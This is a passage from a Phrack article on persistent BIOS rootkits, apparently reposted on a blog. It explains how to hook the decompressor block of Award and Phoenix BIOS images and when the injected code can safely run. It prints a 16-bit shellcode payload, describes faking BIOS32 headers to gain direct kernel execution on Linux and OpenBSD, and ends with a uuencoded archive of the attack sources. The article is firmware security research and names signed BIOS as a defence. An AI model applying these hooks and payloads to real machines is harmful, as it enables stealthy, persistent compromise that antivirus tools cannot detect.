w.write(newbios)  	w.close()  	print "New bios saved as %s" % newbiosname  	  	-------------------------------------------------------------  	  With this technique we successfully changed one bit, then one byte, then  multiple bytes on a uncompressed region of the BIOS. The first step was  accomplished.    ---[3.2.2.1 - Inserting the Hook      The hook is in exactly the same place: the decompressor block.  We  also jumped to the same place that in the VMWARE code injection: In  the end of the decompressor block generally there is enough space to  do a pretty decent first stage shellcode.  It's easy to find. Hint:  look for "= Award Decompression Bios =" In Phoenix bios, is the block  marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost  never changes. It works.    There are a couple of steps that you must do to ensure that you are  hooking correctly. Firstly, insert a basic hook that only jumps  forward, and then returns. Then, modify it to cause an infinite loop.  (we don't have a debugger so we must rely on these horrible  techniques) If you can control when the computers boots correctly and  when it just locks up, congratulations. Now you have your code  stealthy executing from the BIOS.    ---[3.2.3 - Payload      So now, you have complete control of the BIOS. Then you unveil your  elite 16-bit shellcoding skills and try to use the venerable INT 10h  to print "I PWNED J00!" on the screen and then proceed to use INT 13h  to write evil things to the hard disk.    Not that fast. You will be greeted with the black screen of fail.     What happens is that you still don't have complete control of the  BIOS.  First and foremost, as we did on the VMWARE hook, you are  gaining execution multiple times during the boot process. The first  time, the disk is not spinning, the screen is still turned off and  most surprisingly, the Interruption Vector Table is not initialized.  This sounds very cool but it is a big problem. You can't write to the  disk if it's not spinning, and you can use an interrupt if the IVT is  not initialized.    You must wait. But how do you know when to execute? You again need some  sort of ready-to-go signal.    ---[3.2.3.1 - The Ready Signal      In the VMWARE, we used the contents of the IVT as a ready signal. The  shellcode tested if the IVT was ready simply by checking if it had the  correct values. This was very easy because in real-mode, the IVT is  always in the same place (0000:0000, easy to remember by the way).  This technique basically sucks, because you really can't get less  generic than this. The pointers on the IVT change all the time, even  between versions of the same BIOS manufacturer.  We need a better,  more "works-on-other-computers-apart-from-mine" technique.    In short, this is the solution and it works great:   Check if C000:0000 contains the signature AA55h.    If that conditions is true, then you can execute any interruption. The  reason is that in this precise position the VGA BIOS is loaded on all  PCs.  And AA55h is a signature that tell us that the VGA BIOS is  present. It's fine to assume that if the VGA BIOS has been loaded,  then the IVT has been initialized.  Warning: Surely the hard disk is  not spinning yet! (It's slow) but now you can check for it with the  now non-crashing interruption 13h, using function 41h to check for LBA  extensions and then trying to do a disk reset, using function 00h. You  can see an example of this on the shellcode of the section 3.1.5.1    The rest is history. You can use int 13h with LBA to check for the  disk, if it's ready, then you insert a disk-stage rootkit on it, or  insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the  I-Love-You virus, or whatever rocks you. Your code is now immortal.  		  For the record, here is a second shellcode:    	-------------------------------------------------------------  	;skull.asm please use nasm to assemble  	BITS 16  	back:  	        TIMES 0x0b55 db 0x90    	begin2:  	        pusha  	        pushf  		push es  		push ds    		push 0xc000  	        pop ds  		cmp word [0],0xaa55  		je print  	  	volver:  		pop ds  		pop es  	        popf  	        popa  	        pushad  	        push cx  	        jmp back  	  	print:  	        jmp start  	  	        ;message  	        ;   123456789  	msg:    db ' .---.',13,10,\  	           '/     \',13,10,\  	           '|(\ /)|',13,10,\  	           '(_ o _)',13,10,\  	           ' |===|',13,10,\  	           ' `-.-`',13,10  	        times 55-$+msg db ' '  	  	start:  	        ;geteip  	        call getip  	getip:  	        pop dx  	  	        ;init video  	        mov ax,0003  	        int 0x10  	  	        ;video write  	        mov bp,dx  	        sub bp,58 ; message  	  	        ;write string  	        mov ax,0x1300  	        mov bx,0x0007  	        mov cx,53  	        mov dx,0x0400  	        push cs  	        pop es  	        int 0x10  	  	        call sleep  	        jmp volver  	  	sleep:  	        mov cx, 0xfff  	l1:  	        push cx  	        mov cx,0xffff  	l2:  	        loop l2  	        pop cx  	        loop l1  	        ret  	-------------------------------------------------------------      ------[ 4.- BIOS32 (Kernel direct infection)    Now you have your bios rootkit executing in BIOS, but being in BIOS  sucks from an attacker's point of view. You ideally want to be in the  kernel of the Operative System. That is why you should do something  like drop a shellcode to hard-disk or doing an SMBIOS-rootkit.  But  what if the hard-disk is encrypted? Or if the machine really doesn't  have a hard disk and boots from the network?    Fear not, because this section is for you. There is the misconception  that the BIOS is never used after boot, but this is untrue.  Operative  Systems make BIOS calls for many reasons, like for example, setting  video modes (Int 10h) and doing other funny things like BIOS-32 calls.    What is BIOS32? using Google-based research we concluded that is an  arcane BIOS service to provide information about other BIOS services  to modern 32-bit OSes, in an attempt by BIOS vendors to stay relevant  on the post MS-DOS era. You can refer to [BIOS32SDP] for more  information.  What's important is that many OSes make calls to it, and  the only requirement to being a BIOS32 service is that you must place  a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region,  16-byte aligned. The headers structure is:    Offset	Bytes	Description  0	4	Signature "_32_"  4	4	Entry point for the BIOS32 Service (here you put a pointer  		to your stuff)  8	1	Revision level, put 0  9	1	Length of the BIOS32 Headers in paragraphs (put 1)  10	1	8-bit Checksum. Security FTW!  11	5	Reserved, put 0s.    This is a pattern on all BIOS services. The way to locate and execute  services is a pattern search followed by a checksum, and then it just  jumps to a function that is some kind of dispatcher.  This behavior is  present in various BIOS functions like Plug and Play ($PnP), Post  Memory Manager ($PMM), BIOS32 (_32_), etc.  Security was not  considered at the time when this system was designed, so we can take  advantage of this and insert our own headers (We can even use an  option-rom from this, without modifying system BIOS), and the OS  ultimately always trust the BIOS.    You can see how Linux 2.6.27 detects and calls this service on the  kernel function:    arch/x86/pci/pcibios.c,check_pcibios()  ...  	if ((pcibios_entry = bios32_service(PCI_SERVICE))) {  		pci_indirect.address = pcibios_entry + PAGE_OFFSET;    		local_irq_save(flags);  		__asm__(  			"lcall *(%%edi); cld\n\t"  <--- Pwn point  			"jc 1f\n\t"  			"xor %%ah, %%ah\n"  			"1:"  ...    OpenBSD 4.5 does the same here:    sys/arch/i386/i386/bios.c,bios32_service()  int  bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei)  {  ...  	base = 0;  	__asm __volatile("lcall *(%4)"         <-- Pwn point  	    : "+a" (service), "+b" (base), "=c" (count), "=d" (off)  	    : "D" (&bios32_entry)  	    : "%esi", "cc", "memory");  ...    At the moment we don't have any data on Windows XP/Vista/7   BIOS32-direct-calling, but please refer to the presentation [JHeasman]  where it documents direct Int 10h calling from several points on the  Windows kernel.    Faking a BIOS32 header or modifying an existing one is a viable way to  do direct-to-kernel binary execution, and more comfortable than the  int 10 calling (we don't need to jump to and from protected mode),   without having to rely on weird stuff like we explained on section 2  and 3.   Unfortunately because of lack of time, we couldn't provide a BIOS32  infection vector PoC in this issue, but it should be relatively easy  to implement, you now have all the tools to do it safely inside a  virtual machine, like VMware.    ------[ 5.- Future and other uses    Bios modification is a powerful attack technique. As we said before,  if you take control of the system at such an early stage, there is  very little that an anti-virus or detection tool can do. Furthermore,  we can stay resident using a common boot-sector rootkit, or file  system modification.  But some of the more fun things that you can do  with this attack is to drop a more sophisticated rootkit, like a  virtualized one, or better, a SMM Rootkit.    ---[5.1 - SMM!      The difficulty of SMM Rootkits relies on the fact that you can't   touch the SMRAM once the system is booted, because the BIOS sets  the D_LCK bit [PHRACK65].  Recently many techniques has been  developed to overcome this lock, like [DUFLOTSM], but if you are  executing in BIOS, this lock doesn't affect you, because you are  executing before this protection, and you could modify the SMRAM  directly on the firmware. However, this	technique would be very   difficult and not generic at all, but it's doable.    ---[5.2 - Signed firmware  	  The huge security hole that is allowing unsigned firmware into  a motherboard is being slowly patched and many signed BIOS  systems are being deployed, see [JHeasman2] for examples.  This gives you an additional layer of security and prevent  exactly the kind of attack proposed in this article.  However, no system is completely secure, bug and backdoors  will always exist. To this date no persistent attack on  signed bios has been made public, but researchers are  close to beating this kind of protections, see for example   [ILTXT].  	  ---[5.3 - Last words  	  Few software is so fundamental and at the same time, so closed,  as the BIOS. UEFI [UEFIORG], the new firmware interface, promises   open-standards and improved security.  But meanwhile, we need more people looking, reversing and   understanding this crucial piece of software.   It has bugs, it can contain malicious code, and most importantly,  BIOS can have complete control of your computer. Years ago people  regained part of that control with the open-source revolution, but  users won't have complete control until they know what's lurking  behind closed-source firmware.  If you want to improve or start researching your own BIOS and  need more resources, an excellent place to start would be  the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level  technical discussions take place.  	    --[6.- Greetz      We would like to thank all the people at Core Security for giving us  the space and resources to work in this project, in particular to the  whole CORE's Exploit writers team for supporting us during the time we  spent researching this interesting stuff.  	  Kudos to the phrack editor team that put a huge effort into this   e-zine.    To t0p0, for inspiring us in this project with his l33t cisco stuff.  To Gera for his technical review.  To Lea & ^Dan^ for correctin our  englis.  And Laura for supporting me (Alfred) on my long nights of  bios-related suffering.   	  	  ---[7.- References    [JHeasman] Firmware Rootkits, The Threat to the Enterprise,  	   John Heasman, http://www.ngssoftware.com/research/  	   papers/BH-DC-07-Heasman.pdf  [JHeasman2] Implementing and detecting ACPI BIOS rootkit,  	    http://www.blackhat.com/presentations/bh-federal-06/  	    BH-Fed-06-Heasman.pdf   [BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4,  	    Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/              ECF22CEC-A1B2-4F38-A7F9-629B49E1DCAB/0/specsbios32sd.pdf  [COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/  	   Flashrom  [PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/  	   issues.html?issue=65  [DUFLOTSM] "Using CPU System Management Mode to Circumvent   	   Operating System Security Functions" Loic Duflot,   	   Daniel Etiemble, Olivier Grumelard Proceedings of   	   CanSecWest, 2006   [UEFIORG]  Unified EFI Forum, http://www.uefi.org/  [ILTXT]	   Attacking Intel Trusted Execution Technology,  	   BlackHat DC, Feb 2009.   	   http://invisiblethingslab.com/resources/  	   bh09dc/Attacking%20Intel%20TXT%20-%20paper.pdf  [WBHTF]    WIM'S BIOS In-depth High-tech BIOS section  	   http://www.wimsbios.com/phpBB2/  	   in-depth-high-tech-bios-section-vf37.html  [LZH]      http://en.wikipedia.org/wiki/LHA_(file_format)  [Pinczakko] Pinczakko Official Website,               http://www.geocities.com/mamanzip/      ---[8.- Sources    begin 644 phrack-66-07.tgz  M'XL(`.>M.$H``^T\_7/;QH[YU?PKMO+E),420^K3ENN^\5=;SXMCC^V^YB;Q  M^%'DRF),D3HN9<DW_>,/P"Z_1-K*7=/D;AYW&MO<76"Q`!;`?J#S:6C9#^W!  MH&T,W[[Z:XH!9=COXV]SV#>RO^/RRC0[YL#L#`9#J#<[G8'YBO7_(GIR92$B  M*V3LE>5-0NX\WV]3^__3,L_*?VJ%SM(*^5=6A"^6O]'I=(8]D'_/Z%?R_R:E  M7/[B8>%YNB5F7V4,%/"@UWM._AU8[R3__G#0,[H#D']_:!JOF/%51M]0_L7E  M/P;ICS2FRLW9^>DU,U;&N-]GSAC^VC,T;<SO7;^3]IHOQ-3*?4VT+?S%N%!_  M.$)3?QDK&V2<]@[FV+AES^9L&80.^VC<MHR59?7[VM9GSN:AZT>:]AAXCSP<  M`0[5'W\#]@R:2?8C3X[EY#Z9O4J^/\.X.&=-HY%&N094!1@\KMJ?<2&L>YY6  MP#^ST^WU!\/=/6TF[D=8"WRJ,[W=;NOUEMEMF4;K4P(!I?Z6?GTJ;_RC\8F]  M;?Y1WMBX8P&[:Y8WLC\.#@Z>`63_;.OM?ZJVI"5R84*LWV__VP[0+NFN:QK-  M.F7$_CV/N#M/OFW+\QC4017]'.5EN<KPR_7=B#VZ#@^2NEGPR*Q5"U2@F]0!  MWT$M@+`4DH#8,G0CG@,=SUM.*CRQ&&--?Q<D$<LFQ4'0($.0ZWUA_)79S6@A  MH<9:]$RY6GO5ZG=S-0[UZV5UF'0JIXQ9W2Q.CU@H/,[G.7632@X"P);1.AF`  M8S*9:)XY>E:954_J"#TS2]0+@":ODR,Q`RB;S>0[Y)'VO2U15;Y'*??_L\!Q  M)T=N(/3YTY\?8T/\UQMTS#C^,X8&QO^#;K=7^?]O4;9_>+L0X=NQZ[^=/T73  MP-?<V3P((Q:(EG@2K9D5335MF_U&QM:=,(_[#6C0K?#^L?EC-V.<T)^RVCFJ  MSA.S?`>L"A@^>^%98)8/0:\<=G1V<<WL*;<?Q&)66P>E,4;LM6`_!J$+,8?E  ML3$HX4_L1TL(/AM[3TQ,N>?9@</9Q/7X3S7VFB7D0"C13'#RE1LUC";2G@!'  M4PFF"1MB6W;`$LC.+=39`=;57@L=V(&8J9L&JP#Z17S6J/D(!O2U`_PI!\<^  M+0)NLJ86A4\0M:14'K!@CAS#]E8]'->;>L@MI]'4^,KF\PA#'#G[XV#A.7X]  MBLGE1&Z"J<5$,./1%)P;<P6;N4+`GS_4M*UDIME1D[\_&BL(YD:W;)N)!W=.  M2-]?7`J<UL+W7/]!$M>4`1%KU*X3-"#K^VD$$G%PJB3YN*U)G#VW'CBSF!W,  MGU@P(=R)Y%#6&AD2WYIQQ5CZ)M;&G#=O-011?7+5*=_M.?+[M2".Q]U;"7)D  MO+8]X^%]AF%LZ4;3E)R)9XFIYOJ"A]$\$&[D!CX,:*RZUF38EX3&TDH0YR66  M<BP=6?/Y$G7T@*H^CO(#W,;-.P<)76F5!,E#[.2Y/+J5E!TH(&U;=F?3('C0  M\,?:7'JF0]4'M4\KOO=IU>]_@FB^!M+'B(-FNVNP'=;8(;THT)]%F:&>AELC  M/-N5R,:*(L7:-K)O71#XR9+5D4H]SW%0L=2$)!C0MM`8+G<2:P)=KX,P?&J!  M%L+Z$';HSB-<*7X0L3?1U(K>0!3K\]"UH>M3L`#]@*AL:CW"0@O@=_C(180J  M+#A[M+P%1'3;;&;Y"PC>`.MX$1&4;?F,6\(%<V*'U@26J\_0QBRB`&RE:[/`  MYVR!:Y/-K2CBH<\$MT)[JF.W&T(?3":"1X*!JV63(*1U<R@6@AT._['[H7W^  M`7I>\4=7H%Q-<)YM\)@R3K\+)G<.A_4ZOQM[#P<D<@A-DS9LX;ZP4"C4.IG8  M&O>=(MP8MV5:8$^1>P<&:$C"X(2GLTQKD>,:TNY"O,M"R[_GC1("6Z6$-<'J  MJ8%W#F`32$OZHPO6>VN6K58+Y#:V3;5C-;08L0M%[`%[;>Q^8.>*.ODI[81$  MU5(HU[0)ND]XR'T;MA#0`3]!'1NJ,_MW"K^;K)W@B:NTF)@3!!DEXRDD.,K8  M\BQ`3')-N+6VT$H9DUEQ]C1LL`;L(W[^N:U0-Q4)K+F^%$N1[9BP%C>(\&7Q  M?X%\"ZKUI;)5,RB3;BI<IJ3[<RKI<M$J#`U87PSL2P3BO7=I^9,3!8<!$[>!  M+8_@2,<!.(89!'YLS!G_3UC@S9JFQ3Q%LWZ0"0QV:GK"5>[4M.4!V:Q,[U9]  M"39+6^JT`XU;L,+V`L$;"7GO^9("&B;`ZCC@Z)5+R^#ZUMNP\O@?S>^,Z]$J  M^AIC;#C_,X9F3\7_YA`/_B'^I_/?*O[_Z\L-.LMXF4B?Z7/N@':"4P0'9D_1  MP5E)]*ZSFXQ[G8(*"_[(0\O34'G:&+0XRGV2GW8%AK2@_1#1N.!_(\;]8'$_  M1?1.0+ACSZGE_24&O`S6L%B$')SM,D!$RR!\8,$B:@>3-I#<'@<K&>>!:PXE  M@9IVYD-$ZD<AV@%JQ,G]X_SWPZM317@^2'`"3E2&8`M<<,F6#_L7QZ'`!B:&  M.P;!9+A.J&@)PQ;!"I^`0,&]">*STOC`"9:^%T#0(^,`BGA"V%PTKCEGE[3B  MP/?#E#T,Z[E-\5M7[^AF$ZQP$8V+]@QV4Q'P88*(D(I',+W0><G'$()QB"[^  M5Z8CM_X?9W_![<__Z/ZG:QAX_]/M]_K5_<^W*&7RE\X<H_DVNKJQ</[<5=#+  M]A\/9I/['Z-O@/WO&$9U_O-MRM'9S34S!YJV?[J*T#R#79;VES4P9AGT_DX6  M*@A%BUGS$.QMM\/.CYK::X=/7-CKG'ZX.7U_`]L4IJX2[F8!W=W@4<P^1CI@  M6._I>'P_N621?;3X4-M*_II(,!@3;![8[[D56C.!5"%$_DB$@%9@`ZT5T+9*  M/AVW!?^23P&?PDU&B$_NU<U2?([.<7XK&OG^#D9.&A";L=H%385&V+GE&N-S  M>FA"BNZ$^U]<S>">1W<<#UP"M<D$TNL"W)3-Z^A>0B[DZ'0[,-;&HX0L12UT  M(N*-5:?+"&</=NX^:^`HS.$XI'L/;CJD(Q@7]/CX\/P(RMGAU=65/`L+^1PI  M%4LM(1K9)>_>N)COP!:C<ROIE1L6((>',85I&)`[W*'S`,2'5S*(KY=@5YBM  MU6V&;Q#AWB&,VOH6.^]TJ+NQUAV$,>.^NI/;A\D(T$2NXN=8K=+;0+H)5'WY  MBMN+B)@$`#-PP0`R?F)UXO?$"NNRHQ*^TA]U,\13Q9B(UCAM<Y*>(8]`69'*  M.W6#MN4'\Z_T(S[%I!63CI&YFLS1F52EQ"95*<54)<E.3EY+KG+C+[648"5M  M*3SX)U[<CI^`KQ]!<?;>]&[I%@WU'W=OTGQPYD[H&LS<P]@2KP5=RP.E=;2M  MSSZVTB6O'^1N8&FN5`?8Z(8*8T0^7J2W><]?^^ZG:WC]EH]NI15SX#N93;:K  MY(I&A*U11'4%BDKYT!ND]WM<3@4,ZU<J0!WP,3F<E51*"K/U0.G)Z=%OOTC3  MXF7LGM*5^'X^$;^S9GP!PR]@"PA9P4[=V[#`X$=JK)2^I;B%N[6UM9]^9U8/  M6K/Q"IL9;?;I]&L>\D<W6&`X;OE^?'F;,7Z.$>-+7PT(E^S%R>GA"2!;)R9C  M1$$0,PO\E._<^>#7U`S;26'7,%?8"'#NX_D(SUI)LD?R-CBYU%T'AYV&B,*%  M';&3P\M-3@8FI"A4TX/9<5P\`,ODWQ3?VUE"P,=D@.B^MTLK[FB!1U@P!FZO  M0B:KB_!22Y%AY@`<,OJ.8,*N%;6N;\>LRG<VR%@('H*I?;FG"3W]Q6P,-`!B  M%2UL1K[P%Z(<=2IB&SSR6$XS=@49[G5*(!P1`V1<S0O]#7+Y2#*3<_B_")`-  M1HRL-AEK^LQ^7OAR.]DSIR.UR"BRP[/DC`'(+$IKBJ;+1!..*SQ#8_),HM^W  MK/V4"*^%CAT`G-"%R$;)'NL.)FX(4=LT%BLMFN[Z\OQLY]?D,U,P#)C"%<=0  M\,05#^R:;H.R=%/$4!RJ##\:2JQ$,ZYE6T>Y9JC5XFZCQ.8D;$?OY0?V=(UH  ML&'!/85+8PC"&H='QR>G.I1F.<-7K8RR$_L-GBB%Y9$X<@(HFB#%34G+*&/8  M,P9?#:)\A`U3H\\W26%'%U=7AU?L_04[>W]\=7H.@?SA#PP:4A>2RN4,%VE!  MCY6%ZN9M'*.R#R2R`V8OPO!N'@BV;OEVJ<\._O'NZ%#9,TU#W@.]HRS#DM61  MV(M,P)8N'56),K-6&9G)Z1<7GGP((\=#!XN]1AH0<X='H#D?&]U%7$7^*4^0  M;([+RZ%XU'(4A]865^>9Q?7%*^EYYU&B_<`<J#"[=WYPQ\/UY?4[/9.">I`C  M*H]E1YF=V)J>HF;V^GEC8!C&\PJ9'7BT-O*UW%>BSZ^'01#5LV8M,S5<;<K%  MQ;X-XBYIU;,Z!_.G3GVS0ZY%L#GY"1*`)G>Q^74L%<5!&[L:&@,KLZ:C2;!0  M&I+MB?L28[6W.]@M]MVG4'`&H=@^M7&F*HI85)ALEF`I]!U@7[YKF"JH*O1&  M?:0OW!$!'^7'#WB%H;J-DE6B[`'I><H1#:\$I3@*NTX*65QM'4/!#";&-.XH  MTHZ@G.I8(!,J)7I@&JM!O]_M*U'A23'SN))M`776,FOXUN&.='?$V'.4J][)  MS-*]H;,>E&6>[HE(33J_F\RH/LOO"EE^6\AR^T*Z"EJSS>L^U^!9[!L6ED*M  M9>1+B,A;R)YD89*!-8C>YIYE<]B_"T':A8?AP+>Z5=>DRL;&DY8$'F1P/DZ#  MC6R+88SY>D.\9S<-H]#4HR9[6-(TH*:^80P*3;O4U./]8:')-!3&7J_8I@CI  M]8HH34E)Q^R8Q;;!\Q,P=U7;P"K.VU`\*6N3M`RL?I&6CJ1ES$O&ZRA:^L:X  MV"9I&0Z=W4);5]+B#":38EOG>=EU>^F!2[%1R6A00FA7$F-U2I#V)#&[IEUD  M3$\2,YD,[6*;)&;/</`DLMR[JN>]9>ZU^XQ[Q<6!ITD!>^0AODK[ZQQO-NI*  MMK]?8\N;CV]*MKQ"F2UY>B+M_SY=@+G^@BNC'P^!9TM:_E3A^YX_5^7[EK+[  MGZ][^[_Q_K]G#H=)_M>P1_D__6&5__--RJ\<+[Q#GGD`(#(O`$).;^;PP905  M7Z&K6_8;#,E=#S:L=$#-U>M>O+Q&>()>^(2W1AWU^5.-R4?&R?,\'Z#EU780  M/I'1@M@-[\SIJ6[@><&2;M#Q"GZD:>UPV0[;^!\SF91(_(N9P\YPP&!'L-<V  MNFW8$IA[(_`,A\>79X9^>/[N16``-Y\!-O6CL_<OCSSH[O:*P$='^M7%^8N0  M_;[9-4L@@9''%R?&1OANUS#WGH4W-\/WAOWGQ^]LAA_N[CT_?G<C/`BMM[L.  MWV,GI\<7YY?'F^?/>F!8BN.?G%U?OCO\C\WP9L\<=(KP[RY^N3#TRU\^O`1L  M]O;,H5$.;&X"9N:NV2G,O,O.SZY/KQ*Z5V$;_RM"[^UVC9)Y7UZ=7L(*U4\_  MG+XX>`>62HG8852`_"*V=_?ZS\)O5CM0_+T2S@&8?GU\];+&#?;Z)1*[/KWY  M[?(+Y+W;,TL&OKZY.GO_R_5F^(ZY5[;2;T[/0=]NOF#\3JG<?KL\.;PYW0P^  M0,]9`I[HC(;O'U'\0II,LNRP-_<6:,]=:8TOIP'WW17#_!YVZKAXH+>(7,^-  MGG2)`:]9Z042OH]<171$Y*0OC\C.(W[6\-P'^1ZJUS-T;*=.TE&TZ"8P?=YD  MZB8]"<._NDVF'D>1W\''_[42NFHQ82V,X.DY=$?OZ`9@PE-(ON2AS@[EZS7U  MH`J0/<%F_#,^[\37*^F++7J.%LEGW\FC,WS<S6R(>")T@8'@BG$!>J:(8RX,  M/O-*?!1PZ'>\(Y?OQ1P7TPW'"P*VHIA:"+/#)-E$4,0?C&7`#R.)P!>`YM`3  M02M]B"Y])L!0CDF<`Q*"T"!`\3PI/M@'Q(=AZ'ESKR$$:YQ%=<$<?(">FU]3  M9[_CFW3`0<B!@7W=,%'6KF!+"V#X(_>`6X[,VP&W3?-?C!=^M&"[.BP:?&E'  MSVM)N_`='NJ8K](LP$OSIGPDK][KQ8_89I@BXL8O]WSLZ01+?%<0Z-7FX[N7  MLO@_CM:^UA@;WO]UP2AFWO]U,/[OF/TJ_O\6Y<7\/[K7QC1`39,AV=&[B^._  M']2R\5GMA>S`SLO9@=*()68?O$HA)?`]6$4Z'@XBO%O&PZ"0DHC0L.KLT@-S  MRLG/I)O6E_(*_U0>X17=[R2`]%P_EW.7IC'IL''A8:.)/$FZZ&`OG48-'U/6  MFC\9V3S!-#WLXZB\_RU04#Q+3P_53^C1)EY$VIQ2`]D+O:%HV[D\P^4T\-1;  M*7`OKO\9W%TF`Z^N,A^1ECJF[R49:EKZ6C1)YTIR%G/)7$H:OV)/?-;,'<PL  ME#<W<7YABJRIS6`GJ-#6/ZWVK$^KGO%I9?0^K;KC3ZO!`.J,.MM6)W\<5O$.  MG@4:VO8[?#2-LY+H\&(60P<(351^)M:'E.U)!-=A8OBT#6>64?1G\C6W\?\?  ML:##-GGSHK.?Z<@0_.;?M"TY0LD0+V+?4NBW`%0QZK7(#G%=DOW98O/2!9`?  M"##&2KR%I,\W3IO26:BO2FE1DXDKX[26[4-'\CG)1I1O+@[PQ:*6<D#]);,+  M99?;G5B\.W$KRC^N;.ZD74>WZ4#IVT\%M8.)CGM&[8UI&#NI]L3-!W&W.FD+  M],)TQ#0+#'&"$6/T;G,-YN/(6$UN=Z05U.<P\4;MQU]KK5A/D2%M8V4>-I,I  MP!<F76U?QP\^Z>DDA%5%10P6D4PD*G(>FM;YCE4QU\$0'`,RS&-6FG(9\CDX  M;EW7:]DUJ[_-;`B9_E;MK^IIPA6PP(=_1<!CV(^\AW\%R$RO<,;>Z.<7)RF^  M,TH!ABW'$G_X@;QE%BUU*+24.P<QQ4QGW%O0\0]M)&P9XM+1$CF5[^T7_U7*  MAO?_$*W_^?\-U,;W_V8WSO\:]+K=5Y@&9E3GO]^DO/S^/_/\GRU\-\KG`#!N  MV=,J$:!*!$!\52)`E0A0)0)4B0!5(D"5"%`E`E2)`%4B0)4(4"4"5(D`52)`  ME0A0)0)4B0!5(D"5"%`E`E2)`%6I2E6J4I6J5*4J5:E*5:I2E:I4I2I5^:;E  *OP'CP.BZ`'@`````  `  end    ------  



Elyssa D. Durant © DailyDDoSe™ 2007-2008

No comments:

Post a Comment